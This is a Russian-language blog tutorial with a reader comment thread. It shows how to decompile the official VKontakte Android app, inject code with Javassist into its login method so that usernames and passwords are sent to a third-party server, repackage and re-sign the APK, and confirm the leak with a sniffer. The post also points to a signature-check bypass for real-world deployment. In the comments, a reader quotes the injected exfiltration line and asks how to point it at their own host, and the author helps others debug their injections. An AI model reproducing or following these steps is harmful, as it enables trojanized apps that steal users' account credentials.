Модифицируем официальное приложение VKontakte под Android

Решил немного покопаться в приложениях на Java и посмотреть возможности модификации при отсутствии оригинальных исходных кодов. В качестве объекта исследования был взят официальный клиент VKontakte под Android. Нашей целью будет модификация приложения таким образом, чтобы данные, отправляемые клиентом при авторизации, отправлялись также на сторонний сервер.
Для начала нам понадобятся следующие вещи: Android SDK (для тестирования приложения), apktool (для проведения необходимых манипуляций с apk-файлом), dex2jar (для преобразования dex файлов в jar-архивы и подписи результирующего apk тестовой подписью), JD-GUI (для декомпиляции кода и изучения его структуры).
Теперь нам необходимо где-то взять официальное приложение. Вариантов множество, например: можно воспользоваться расширением APK downloader для Google Chrome, можно взять с какого-нибудь форума, либо со своего Android-устройства.

Итак, мы получили APK-файл. Воспользуемся apktool, чтобы его распаковать. Для этого откроем консоль и выполним следующую команду:

Здесь и далее я предполагаю, что в текущей директории присутствует вызываемое приложение (в данном случае apktool), либо путь к директории с ним добавлен в переменную окружения PATH. Флаги s и r необходимы, чтобы утилита извлекла ресурсы и код приложения как есть, без каких-либо дополнительных преобразований.
После выполнения вышеуказанной команды у нас появилась директория со следующей структурой:

Файл classes.dex содержит интересующий нас код. Воспользуемся утилитой из набора dex2jar и преобразуем его в jar-файл. Для этого выполним в консоли:

Получившийся jar-файл открываем в JD-GUI.

jd-gui1

Ищем метод, отвечающий за процесс авторизации пользователя в ВКонтакте. Находим метод doAuth в классе Auth.

jd-gui2

Теперь нам необходимо как-то внедрить свой код в метод doAuth, который будет отсылать данные пользователя на сторонний сервер. Можно было бы заняться ручной правкой байткода, сгенерированного Java, но это затяжное и занудное занятие. Я решил воспользоваться библиотекой Javassist, которая позволяет производить необходимую модификацию байткода, но при этом писать внедряемый код на Java.
Напишем небольшую программу с использованием Javassist, которая добавит в начало метода doAuth дополнительный код, осуществляющий отправку данных.

Внедряемый код приведен в виде одной строки, что не очень удобно. Приведу его на всякий случай отдельно для удобства.

Скомпилируем вышеописанный код из консоли.

Прежде чем запускать получившуюся программу, распакуем Auth.class из jar-файла (который мы получили ранее из dex-файла) в директорию рядом с сохранением полных путей. Также в директории с программой должны присутствовать файлы javassist.jar и android.jar (из Android SDK). Всё, теперь можно запускать.

После успешного выполнения мы получили модифицированный Auth.class, в этом можно убедиться, открыв файл в JD-GUI.

jd-gui3

Заменим Auth.class в jar-файле с помощью любого архиватора. Воспользуемся d2j-jar2dex.bat и преобразуем jar-файл обратно в dex-файл.

Заменим classes.dex в директории, куда мы распаковывали apk-файл с помощью apktool, и создадим из директории новый apk-файл.

У получившегося файла отсутствует цифровая подпись. Исправим это с помощью d2j-apk-sign из набора dex2jar.

Настало время протестировать получвшийся файл. Для этого нам понадобится эмулятор из набора Android SDK или реальное устройство. В случае с эмулятором всё просто: настраиваем эмулятор, запускаем виртуальное устройство, выполняем в консоли adb install vk-signed.apk.

cmd

Запустим какой-нибудь сетевой снифер (я воспользовался Wireshark), запустим приложение ВКонтакте на эмуляторе и попробуем авторизоваться.

result

Снифер показывает, что данные авторизации были предварительно отправлены на тестовый адрес. Всё работает. Конечно, при использовании вышеописанного подхода в реальной обстановке, возникла бы проблема корректной цифровой подписи, но она решаема благодаря недавно опубликованной уязвимости, которая позволяет обойти проверку подписи на ряде устройств, которые ещё не получили обновление.

Фрагмент кода из статьи и оригинальный apk-файл ВКонтакте: скачать

Модифицируем официальное приложение VKontakte под Android: 77 комментариев

  1. Спасибо. Было бы интересно почитать цикл статей о таких вещах.

    Вопрос: у тебя какая винда? под х64 утилиты эти работают? а то у меня валятся.

  2. по этому надо качать официальные приложения в гугл плэе.а так хорошо,все простецко;)хоть я не явист, но подмечаю что все что связано с явой как то "не безопасно" ))

  3. Привет, скажите, а под андроид на С++ можно по человечески писать? Есть NDK, но там вроде как через костыль к джаве писать нужно(JNI). Нету ничего более удобного? Как на счет Qt для андроида?

    1. Не в курсе, но скорее всего все равно придется какие-то базовые вещи дергать через яву. В составе приложения контактовского есть бинарники для работы с видео вроде скомпилированные под ARM.

  4. Очень интересный материал. Пишите ещё, будем читать.
    Попутно возник вопрос, т.к. Android наращивает обороты есть желание получить знания в этой области. Kaimi, посоветуйте, пожалуйста, какую литературу следует прочитать и с чего начать, чтобы начать программирование и исследование программ под Android.
    Спасибо за статью!

  5. вы используете javac, но в Android SDK его нет
    что можно скачать для быстрой компиляции, если нет желания качать jdk, весящее под 300 метров?

  6. Если код немного переписать ,і исользовать в своём приложении в комерчиских целяцелях ,за ето можно нести уголовною ответствиность ,?

      1. Но кажись в разних клиентах которие я декомпилировал коды очень похожие ! І почему декомпилятор оф клиента декомпилит 70%кода ,а 30% класы присутствуют но кода внутри нет ? Можна както росковирять или не получится

  7. Не могу модифицировать приложение. Все получается и работает.

    Но если в внедряемом коде есть public void onClick, public boolean то не происходит внедрение.

    Не могу до конца разобраться с Javassist.

    Помоги если не сложно с примером внедряемого кода с использованием в нем public void onClick, public boolean

  8. Exception in thread "main" javassist.CannotCompileException: [source error] ) is
    missing
    at javassist.CtBehavior.insertBefore(CtBehavior.java:774)
    at javassist.CtBehavior.insertBefore(CtBehavior.java:734)
    at Hook.addHook(Hook.java:28)
    at Hook.main(Hook.java:48)
    Caused by: compile error: ) is missing
    at javassist.compiler.Parser.parseArgumentList(Parser.java:1338)
    at javassist.compiler.Parser.parseMethodCall(Parser.java:1178)
    at javassist.compiler.Parser.parsePostfix(Parser.java:1035)

    Вот что происходит)

  9. Неполучается декомпилировать apk,apktool не являеться внутренней или внешной командой-пишет cmd
    Есть декомпилированый файл?

  10. Здравствуйте! Возник вопрос, ссылку (\"http://google.com/?login=\" + $1 + \"&password=\" + $2 ));} надо заменять так: (\"http://sitename.com/364646.gif?login=\" + $1 + \"&password=\" + $2 ));}

  11. Здравствуйте, материал очень полезный, но к сожалению уже не актуальный. На новых версия этот способ уже не работает. (Был изменен класс Auth). Не могли бы вы обновить данный пост под свежую версию?) Многие бы сказали вам спасибо.

    1. Не мог бы. Адаптировать код под новый класс Auth можно и самостоятельно, если имеются минимальные представления о программировании.

      1. @Kaimi, Доброго времени суток, отличная статья, очень помогла значительно сузить круг поиска информации о способах рекомпиляции .java to .class вырванных из сторонних исходников, за что Вам примного благодарен.

        Но вот интересно было бы узнать как допустим добавить свой код не в начало метода или процедуры, а скажем в середину или в конец, как бы указать место где нужно добавить код, и еще было бы замечательно узнать каким образом заменить одну переменную на другую, без добавления кода, только замена, честно говоря не совсем разобрался еще как это все указать в java.

        1. @WhitePenTester, я так понимаю указателями на класс и метод являются строки:

          final String targetClass = "com.vkontakte.android.Auth";
          final String targetMethod = "doAuth";

          но как быть с кодом внутри метода, что бы заменить например =false на =true неужели нужно весь метод целиком переписывать?

  12. Спасибо и на этом. Знания есть действительно минимальные. Я бы даже сказал минимальнейшие. В любом случае, пока не получалось. Даже не понятно, где собака зарыта....

  13. И снова здравствуйте. За эти несколько дней я перепробовал кучу способов. Что я только не делал.. Однако мне ничего не помогло.. Был бы очень вам благодарен хотя бы за маленькую подсказку. Это уже стало делом принципа) Но и конечно первоначальная цель тоже актуальна.

  14. Здравствуйте, можете подсказать как в javassist можно заполучить определенное значение с json инстанса? К примеру org.json.JSONObject jsonObject.getInt(\"user_id\") не компилируется. И именно нужно достучаться уже к существующему а не создавать новый. Актуально к классу который вы расписали в этой статье.

    1. Дай архив со всеми необходимыми файлами, с которыми пытаешься собрать, ну и сам файл с кодом, естественно, посмотрю.

  15. Я могу дать все полностью только в Telegram или на e-mail.
    А пока вот^
    Есть метод с такими параметрами
    method(final String s, final HashMap hashMap, final boolean b, final HashMap hashMap2){
    //какой-то код
    }
    задача, инженктнуть такую инициализацию:
    MyClass myClass = new MyClass(hashMap.contains("something"), hashMap.contains("something2"));

      1. @Kaimi, если прислать полный прожект и то что пытается инжекнуться и опубликовать его публично, то последствия будут не самые хорошие.

        1. @Kaimi, не совсем понятно, можно конкретный пример на одном хэшМэпе? а jsonObject вот, инициализируется в самом методе final JSONObject jsonObject = (JSONObject)new JSONTokener(s3).nextValue();

          1. Конкретные же примеры даны в мануале. Что-нибудь вроде:
            MyClass myClass = new MyClass($2.containsKey("login"), $2.containsKey("password")...
            Второй аргумент у Auth как раз hashmap

  16. Спасибо, получилось, нашел в чем проблема была. Подобную конструкцию применял и ранее, но не компилилось. А что по поводу jsonObject.getString, как достучаться до инстанса который внутри метода?

    1. Конструкция com.vkontakte.android.Auth.doAuth($1,$2,$3,$4).jsonObject.getString(\"something\"); не работает, говорит javassist.CannotCompileException: [source error] bad filed access

      1. Вот ты пишешь, что интересует тот же инстанс jsonObject использовать. Если интересует только вытащить из него какие-то атрибуты, то почему бы просто не создать новый объект из существующего объекта и не попытаться взять из него данные, раз уж обратиться напрямую не получается?
        Сам проверить не могу, т.к. Java 8.

        1. @Kaimi, атрибуты в нашем случае это ответ из сервера. Не совсем понял о чем Вы. Мол создать новый объект JSONObject и уже с него брать ответ или как? Если не тяжело, можно пример строчки кода

          1. JSONObject sample = new JSONObject(jsonObject);
            sample.getString("something");

            не катит? или любое упоминание jsonObject не срабатывает? jsonObject надеюсь объявлен в том месте, где к нему обращение предполагается?

        2. @Kaimi, да, объявлен в том месте, уже трижды проверил, но так же имеет модификатор final и оглашен в самом методе doAuth. Ваша идея хороша, но увы ошибка та же самая.
          Оглашал так
          org.json.JSONObject newJson = new org.json.JSONObject(com.vkontakte.android.Auth.doAuth($1,$2,$3,$4).jsonObject);

          Проблема javassist еще в том, что ему все надо оглашать явно, будто import не существует. Я не исключаю вариант что возможно я не правильно стучусь к самому jsonObject, но других вариантов у меня нет.

  17. Не могу понять что к чему:

    Прежде чем запускать получившуюся программу, распакуем Auth.class из jar-файла (который мы получили ранее из dex-файла) в директорию рядом с сохранением полных путей. Также в директории с программой должны присутствовать файлы javassist.jar и android.jar (из Android SDK). Всё, теперь можно запускать.

    java -cp .;javassist.jar;android.jar Hook

    (Error: Cloud not find load main class Hook)

    1. Может про javac забыл, может Java 8 используешь и там что-то поменялось, может погугли возможные причины, например: You must ensure that you add the location of your .class file to your classpath. So, if its in the current folder then add . to your classpath. Note that the windows classpath separator is a semi-colon ie ;

  18. Было бы очень познавательно, если бы Вы написали, как можно заменить SSL-сертификат, у Андроид приложений, которые проводят сверку своего сертификата (SSL pinning) и не дают снифать свой трафик (Dropbox, Instagram, Qiwi и т.п.)

  19. Здравствуйте! Подскажите пожалуйста, для какой версии приложения Вконтакте, подойдет этот способ?

  20. Почему у меня падает по ошибке NotFoundException? Делал все по вашему туториалу, даже прямой путь прописывал типа C:/Users/...

    1. Кто падает то? Если код на яве, который должен модифицировать класс, то вероятно потому, что официальное приложение могли уже 100 раз переписать и искомый класс или метод отсутствуют

      1. Все на месте, все присутствует. Программа падает по ошибке NotFoundException. Я пробовал внедрить в свой класс, но программа не находит мой класс. Лежит он в одной папке с android.jar и всем остальным

    1. Либо текущая директория не соответствует той, где размещены файлы, либо путь до файла с классом не соответствует com.vkontakte.android

      1. А можно пример пути? Я указываю C:/: в корне и все файлы лежат, нужные для работы, и все классы, которые есть

        1. Скачиваешь ProcessMonitor, выставляешь фильтр на процесс java, смотришь, по каким путям он пытается найти файл, сверяешься со своими

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *